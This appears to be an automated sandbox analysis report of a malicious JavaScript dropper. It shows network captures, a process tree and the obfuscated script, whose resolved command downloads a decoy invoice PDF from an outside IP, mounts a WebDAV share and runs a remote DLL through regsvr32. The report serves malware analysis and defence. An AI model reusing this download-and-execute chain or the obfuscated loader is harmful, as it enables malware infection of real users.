Jan 11, 2025 03:30:30.713056087 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:30.713191986 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:30.714135885 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:30.718976021 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:31.548255920 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:31.598336935 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:31.913531065 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:32:26.409329891 CET	51741	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:32:26.414257050 CET	53	51741	1.1.1.1	192.168.2.4
Jan 11, 2025 03:32:26.415927887 CET	51741	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:32:26.416053057 CET	51741	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:32:26.420926094 CET	53	51741	1.1.1.1	192.168.2.4
Jan 11, 2025 03:32:26.859379053 CET	53	51741	1.1.1.1	192.168.2.4
Jan 11, 2025 03:32:26.863909006 CET	51741	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:32:26.868993044 CET	53	51741	1.1.1.1	192.168.2.4
Jan 11, 2025 03:32:26.869077921 CET	51741	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:30:38.840270996 CET	61450	53	192.168.2.4	1.1.1.1
Jan 11, 2025 03:32:26.408834934 CET	53	51001	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:30:38.840270996 CET	192.168.2.4	1.1.1.1	0xe838	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:30:38.847189903 CET	1.1.1.1	192.168.2.4	0xe838	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:30:38.853430033 CET	1.1.1.1	192.168.2.4	0x8f68	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:30:38.853430033 CET	1.1.1.1	192.168.2.4	0x8f68	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7680	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:30:28.329566956 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:30:29.121402979 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:30:29 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:30:29.121423006 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:30:29.121438980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:30:29.121658087 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 11, 2025 03:30:29.121673107 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:30:29.121696949 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 03:30:29.121710062 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 03:30:29.121725082 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 03:30:29.121741056 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 03:30:29.121757030 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 03:30:29.126883030 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7884	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:30:30.714135885 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:30:31.548255920 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:30:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:30:23
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\270423757158192531.js"
Imagebase:	0x7ff6da760000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:30:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll
Imagebase:	0x7ff65b490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:30:25
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:30:25
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:30:29
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:30:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65b490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:30:29
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d1470000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:30:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:30:30
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:30:30
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1704,i,2841072177375575574,11582784445128380649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sgjakwxoc() {	sgjakwxoc() ➔ undefined
1	daurywqlu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qqhzy = this[vkbgusu + upkgbgy + wtaedrm + wzayrug + byanzb + wqvvtruz + enpgarvc + dwjluiyh] ( this[jbeysrqtt + zmrrxiw + essbva + wtaedrm + mswjxs + vkbgusu + dwjluiyh][koyzciri + wtaedrm + byanzb + upkgbgy + dwjluiyh + byanzb + frgkaug + rymvpma + dhwvay + byanzb + essbva + dwjluiyh] ( jbeysrqtt + zmrrxiw + essbva + wtaedrm + mswjxs + vkbgusu + dwjluiyh + qxjasp + zmrrxiw + oegcvdn + byanzb + hwuwys + hwuwys ) [nevnbh + byanzb + omtlacflj + nevnbh + byanzb + upkgbgy + mkmkhixky] ( dbrwk + hwtsimwke + focthebzt + btuog + rjxpxyef + koyzciri + tmafamf + nevnbh + nevnbh + focthebzt + modhulr + eszjnq + rjxpxyef + tmafamf + zmrrxiw + focthebzt + nevnbh + jgmvgxrs + koyzciri + bqixlqimn + enpgarvc + dwjluiyh + wtaedrm + bqixlqimn + hwuwys + porpuo + mipdjwdf + upkgbgy + enpgarvc + byanzb + hwuwys + jgmvgxrs + wqvvtruz + enpgarvc + dwjluiyh + byanzb + wtaedrm + enpgarvc + upkgbgy + dwjluiyh + mswjxs + bqixlqimn + enpgarvc + upkgbgy + hwuwys + jgmvgxrs + ypiqqeomu + bqixlqimn + essbva + upkgbgy + hwuwys + byanzb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( wtfkr = 0 ; wtfkr < daurywqlu[hwuwys + byanzb + enpgarvc + omtlacflj + dwjluiyh + oegcvdn] ; ++ wtfkr )
4	{
5	if ( qqhzy == daurywqlu[wtfkr] )
6	{
7	qqhzy = true;
8	break ;
9	}
10	}
11	if ( qqhzy !== true )
12	this[jbeysrqtt + zmrrxiw + essbva + wtaedrm + mswjxs + vkbgusu + dwjluiyh][bfkcmpyka + qhdjsyq + mswjxs + dwjluiyh] ( );
13	this[jbeysrqtt + zmrrxiw + essbva + wtaedrm + mswjxs + vkbgusu + dwjluiyh][koyzciri + wtaedrm + byanzb + upkgbgy + dwjluiyh + byanzb + frgkaug + rymvpma + dhwvay + byanzb + essbva + dwjluiyh] ( jbeysrqtt + zmrrxiw + essbva + wtaedrm + mswjxs + vkbgusu + dwjluiyh + qxjasp + zmrrxiw + oegcvdn + byanzb + hwuwys + hwuwys ) [wtaedrm + qhdjsyq + enpgarvc] ( essbva + jntgtt + mkmkhixky + porpuo + yrrhakw + essbva + porpuo + vkbgusu + bqixlqimn + zcqombp + byanzb + wtaedrm + wzayrug + oegcvdn + byanzb + hwuwys + hwuwys + qxjasp + byanzb + lhtul + byanzb + porpuo + ojvrmyiee + koyzciri + bqixlqimn + jntgtt + jntgtt + upkgbgy + enpgarvc + mkmkhixky + porpuo + lghiqvuo + wqvvtruz + enpgarvc + zittnvjky + bqixlqimn + iayml + byanzb + ojvrmyiee + jbeysrqtt + byanzb + rymvpma + nevnbh + byanzb + xqreibmj + qhdjsyq + byanzb + wzayrug + dwjluiyh + porpuo + ojvrmyiee + frgkaug + qhdjsyq + dwjluiyh + cpifldb + mswjxs + hwuwys + byanzb + porpuo + gzrmdvrxl + dwjluiyh + byanzb + jntgtt + vkbgusu + gzrmdvrxl + jgmvgxrs + mswjxs + enpgarvc + zittnvjky + bqixlqimn + mswjxs + essbva + byanzb + qxjasp + vkbgusu + mkmkhixky + kuzbcot + porpuo + oegcvdn + dwjluiyh + dwjluiyh + vkbgusu + hreojn + yrrhakw + yrrhakw + mexhckip + cbcgxpzv + adkaf + qxjasp + mexhckip + kvghdq + adkaf + qxjasp + mexhckip + qxjasp + jnchjc + ismfwqy + tksgxomcn + yrrhakw + mswjxs + enpgarvc + zittnvjky + bqixlqimn + mswjxs + essbva + byanzb + qxjasp + vkbgusu + oegcvdn + vkbgusu + lghiqvuo + vqxaxfc + vqxaxfc + wzayrug + dwjluiyh + upkgbgy + wtaedrm + dwjluiyh + porpuo + gzrmdvrxl + dwjluiyh + byanzb + jntgtt + vkbgusu + gzrmdvrxl + jgmvgxrs + mswjxs + enpgarvc + zittnvjky + bqixlqimn + mswjxs + essbva + byanzb + qxjasp + vkbgusu + mkmkhixky + kuzbcot + vqxaxfc + vqxaxfc + essbva + jntgtt + mkmkhixky + porpuo + yrrhakw + essbva + porpuo + enpgarvc + byanzb + dwjluiyh + porpuo + qhdjsyq + wzayrug + byanzb + porpuo + jgmvgxrs + jgmvgxrs + mexhckip + cbcgxpzv + adkaf + qxjasp + mexhckip + kvghdq + adkaf + qxjasp + mexhckip + qxjasp + jnchjc + ismfwqy + tksgxomcn + jcisrsn + ovpwu + ovpwu + ovpwu + ovpwu + jgmvgxrs + mkmkhixky + upkgbgy + zittnvjky + zcqombp + zcqombp + zcqombp + wtaedrm + bqixlqimn + bqixlqimn + dwjluiyh + jgmvgxrs + vqxaxfc + vqxaxfc + essbva + jntgtt + mkmkhixky + porpuo + yrrhakw + essbva + porpuo + wtaedrm + byanzb + omtlacflj + wzayrug + zittnvjky + wtaedrm + adkaf + jnchjc + porpuo + yrrhakw + wzayrug + porpuo + jgmvgxrs + jgmvgxrs + mexhckip + cbcgxpzv + adkaf + qxjasp + mexhckip + kvghdq + adkaf + qxjasp + mexhckip + qxjasp + jnchjc + ismfwqy + tksgxomcn + jcisrsn + ovpwu + ovpwu + ovpwu + ovpwu + jgmvgxrs + mkmkhixky + upkgbgy + zittnvjky + zcqombp + zcqombp + zcqombp + wtaedrm + bqixlqimn + bqixlqimn + dwjluiyh + jgmvgxrs + jnchjc + ovpwu + kvghdq + ismfwqy + cbcgxpzv + kvghdq + kvghdq + tksgxomcn + jnchjc + adkaf + mexhckip + adkaf + cbcgxpzv + ismfwqy + qxjasp + mkmkhixky + hwuwys + hwuwys, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28409445231390.dll",0,false) ➔ 0
14	}
15	dbrwk = "f";
16	dbrwk = "x";
17	dbrwk = "a";
18	dbrwk = "n";
19	dbrwk = "U";
20	dbrwk = "R";
21	dbrwk = "f";
22	dbrwk = "J";
23	dbrwk = "o";
24	dbrwk = "g";
25	dbrwk = "F";
26	dbrwk = "X";
27	dbrwk = "i";
28	dbrwk = "w";
29	dbrwk = "D";
30	dbrwk = "H";
31	ypiqqeomu = "q";
32	ypiqqeomu = "N";
33	ypiqqeomu = "i";
34	ypiqqeomu = "u";
35	ypiqqeomu = "F";
36	ypiqqeomu = "K";
37	ypiqqeomu = "M";
38	ypiqqeomu = "D";
39	ypiqqeomu = "Q";
40	ypiqqeomu = "Y";
41	ypiqqeomu = "O";
42	ypiqqeomu = "T";
43	ypiqqeomu = "I";
44	ypiqqeomu = "v";
45	ypiqqeomu = "Z";
46	ypiqqeomu = "k";
47	ypiqqeomu = "p";
48	ypiqqeomu = "s";
49	ypiqqeomu = "c";
50	ypiqqeomu = "r";
51	ypiqqeomu = "L";
52	jntgtt = "J";
53	jntgtt = "W";
54	jntgtt = "I";
55	jntgtt = "y";
56	jntgtt = "k";
57	jntgtt = "B";
58	jntgtt = "F";
59	jntgtt = "X";
60	jntgtt = "n";
61	jntgtt = "H";
62	jntgtt = "G";
63	jntgtt = "D";
64	jntgtt = "R";
65	jntgtt = "o";
66	jntgtt = "C";
67	jntgtt = "L";
68	jntgtt = "r";
69	jntgtt = "U";
70	jntgtt = "X";
71	jntgtt = "w";
72	jntgtt = "z";
73	jntgtt = "s";
74	jntgtt = "L";
75	jntgtt = "d";
76	jntgtt = "a";
77	jntgtt = "i";
78	jntgtt = "O";
79	jntgtt = "T";
80	jntgtt = "N";
81	jntgtt = "D";
82	jntgtt = "m";
83	jcisrsn = "G";
84	jcisrsn = "p";
85	jcisrsn = "l";
86	jcisrsn = "X";
87	jcisrsn = "Q";
88	jcisrsn = "u";
89	jcisrsn = "L";
90	jcisrsn = "S";
91	jcisrsn = "u";
92	jcisrsn = "d";
93	jcisrsn = "A";
94	jcisrsn = "w";
95	jcisrsn = "p";
96	jcisrsn = "p";
97	jcisrsn = "E";
98	jcisrsn = "V";
99	jcisrsn = "J";
100	jcisrsn = "S";
101	jcisrsn = "n";
102	jcisrsn = "k";
103	jcisrsn = "H";
104	jcisrsn = "@";
105	hwuwys = "Q";
106	hwuwys = "O";
107	hwuwys = "s";
108	hwuwys = "k";
109	hwuwys = "P";
110	hwuwys = "h";
111	hwuwys = "a";
112	hwuwys = "F";
113	hwuwys = "n";
114	hwuwys = "g";
115	hwuwys = "l";
116	iayml = "C";
117	iayml = "w";
118	iayml = "L";
119	iayml = "U";
120	iayml = "L";
121	iayml = "G";
122	iayml = "k";
123	zittnvjky = "r";
124	zittnvjky = "h";
125	zittnvjky = "P";
126	zittnvjky = "C";
127	zittnvjky = "K";
128	zittnvjky = "F";
129	zittnvjky = "C";
130	zittnvjky = "T";
131	zittnvjky = "K";
132	zittnvjky = "S";
133	zittnvjky = "Q";
134	zittnvjky = "o";
135	zittnvjky = "r";
136	zittnvjky = "v";
137	zittnvjky = "Z";
138	zittnvjky = "v";
139	jgmvgxrs = "f";
140	jgmvgxrs = "k";
141	jgmvgxrs = "\\";
142	essbva = "C";
143	essbva = "c";
144	cbcgxpzv = "U";
145	cbcgxpzv = "G";
146	cbcgxpzv = "j";
147	cbcgxpzv = "V";
148	cbcgxpzv = "l";
149	cbcgxpzv = "V";
150	cbcgxpzv = "F";
151	cbcgxpzv = "f";
152	cbcgxpzv = "o";
153	cbcgxpzv = "O";
154	cbcgxpzv = "b";
155	cbcgxpzv = "t";
156	cbcgxpzv = "q";
157	cbcgxpzv = "L";
158	cbcgxpzv = "U";
159	cbcgxpzv = "O";
160	cbcgxpzv = "N";
161	cbcgxpzv = "S";
162	cbcgxpzv = "W";
163	cbcgxpzv = "r";
164	cbcgxpzv = "l";
165	cbcgxpzv = "F";
166	cbcgxpzv = "E";
167	cbcgxpzv = "L";
168	cbcgxpzv = "m";
169	cbcgxpzv = "M";
170	cbcgxpzv = "9";
171	jnchjc = "c";
172	jnchjc = "2";
173	kvghdq = "o";
174	kvghdq = "O";
175	kvghdq = "S";
176	kvghdq = "z";
177	kvghdq = "t";
178	kvghdq = "4";
179	rymvpma = "p";
180	rymvpma = "p";
181	rymvpma = "k";
182	rymvpma = "E";
183	rymvpma = "K";
